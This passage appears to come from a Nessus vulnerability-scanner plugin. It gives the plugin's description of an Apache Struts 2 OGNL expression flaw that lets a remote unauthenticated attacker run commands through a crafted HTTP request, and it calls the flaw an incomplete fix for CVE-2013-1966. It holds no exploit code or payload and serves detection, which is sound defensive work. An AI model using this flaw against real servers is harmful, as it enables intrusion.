vulnerability.");

"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to a flaw in the evaluation of an OGNL expression, a
remote, unauthenticated attacker can exploit this issue to execute
arbitrary commands on the remote web server by sending a specially
crafted HTTP request. 

Note this issue exists because of an incomplete fix for CVE-2013-1966. 

Note that this version of Struts 2 is reportedly also affected by
multiple cross-site scripting (XSS) vulnerabilities as well as session
access and manipulation attacks; however, Nessus has not tested for
these issues. 

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
